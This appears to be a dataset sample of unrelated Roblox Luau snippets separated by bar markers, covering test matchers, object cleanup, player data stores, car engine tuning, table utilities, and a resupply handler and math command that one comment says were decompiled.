isNot = isNot,
promise = self.promise,
}
ensureNumbers(received, expected, matcherName, options)
local pass = received > expected
local message = function()
return matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. string.format("Expected:%s > %s\n", isNot and " never" or "", printExpected(expected))
.. string.format("Received:%s %s", isNot and " " or "", printReceived(received))
end
return { message = message, pass = pass }
end
local function toBeGreaterThanOrEqual(
-- ROBLOX deviation: self param in Lua needs to be explicitely defined
self: MatcherState,
received: number,
expected: number
)
local matcherName = "toBeGreaterThanOrEqual"
local isNot = self.isNot
local options: MatcherHintOptions = {
isNot = isNot,
promise = self.promise,
}
ensureNumbers(received, expected, matcherName, options)
local pass = received >= expected
local message = function()
return matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. string.format("Expected:%s >= %s\n", isNot and " never" or "", printExpected(expected))
.. string.format("Received:%s %s", isNot and " " or "", printReceived(received))
end
return { message = message, pass = pass }
end
|
--[=[
@param object any -- Object to remove
Removes the object from the Trove and cleans it up.
```lua
local part = Instance.new("Part")
trove:Add(part)
trove:Remove(part)
```
]=]
|
function Trove:Remove(object: any): boolean
if self._cleaning then
error("Cannot call trove:Remove() while cleaning", 2)
end
return self:_findAndRemoveFromObjects(object, true)
end
|
--[=[
Callable to allow manual GC so things can properly clean up.
This can be used to pre-emptively cleanup players.
@param player Player
]=]
|
function PlayerDataStoreManager:RemovePlayerDataStore(player)
self:_removePlayerDataStore(player)
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 650 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 11000 -- Use sliders to manipulate values
Tune.Redline = 13000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--[=[
Returns whether the attribute is a valid type or not for an attribute.
```lua
print(AttributeUtils.isValidAttributeType(typeof("hi"))) --> true
```
@param valueType string
@return boolean
]=]
|
function AttributeUtils.isValidAttributeType(valueType)
return VALID_ATTRIBUTE_TYPES[valueType] == true
end
|
-- To display lines of labeled values as two columns with monospac alignment:
-- given the strings which will describe the values,
-- return function which given each string, returns the label:
-- stirng, colon, space, and enough padding spaces to align the value.
|
type PrintLabel = (string) -> string
|
--- Overwrites a table's value
-- @function Table.deepOverwrite
-- @tparam table target Target table
-- @tparam table source Table to read from
-- @treturn table target
|
local function deepOverwrite(target, source)
for index, value in pairs(source) do
if type(target[index]) == "table" and type(value) == "table" then
target[index] = deepOverwrite(target[index], value)
else
target[index] = value
end
end
return target
end
Table.deepOverwrite = deepOverwrite
|
--script.Parent.AAA.Velocity = script.Parent.AAA.CFrame.lookVector *script.Parent.Speed.Value
|
script.Parent.AAAA.Velocity = script.Parent.AAAA.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.B.Velocity = script.Parent.B.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.BB.Velocity = script.Parent.BB.CFrame.lookVector *script.Parent.Speed.Value
|
--// Touch Connections
|
L_3_:WaitForChild('Humanoid').Touched:connect(function(L_261_arg1)
local L_262_, L_263_ = SearchResupply(L_261_arg1)
if L_262_ then
L_78_ = L_23_.Ammo
L_79_ = L_23_.StoredAmmo * L_23_.MagCount
if L_40_:FindFirstChild('Resupply') then
L_40_.Resupply:Play()
end
end;
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
return {
Name = "math",
Aliases = {},
Description = "Perform a math operation on 2 values.",
Group = "DefaultUtil",
AutoExec = { "alias \"+|Perform an addition.\" math + $1{number|Number} $2{number|Number}", "alias \"-|Perform a subtraction.\" math - $1{number|Number} $2{number|Number}", "alias \"*|Perform a multiplication.\" math * $1{number|Number} $2{number|Number}", "alias \"/|Perform a division.\" math / $1{number|Number} $2{number|Number}", "alias \"**|Perform an exponentiation.\" math ** $1{number|Number} $2{number|Number}", "alias \"%|Perform a modulus.\" math % $1{number|Number} $2{number|Number}" },
Args = { {
Type = "mathOperator",
Name = "Operation",
Description = "A math operation."
}, {
Type = "number",
Name = "Value",
Description = "A number value."
}, {
Type = "number",
Name = "Value",
Description = "A number value."
} },
ClientRun = function(p1, p2, p3, p4)
return p2.Perform(p3, p4);
end
};
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.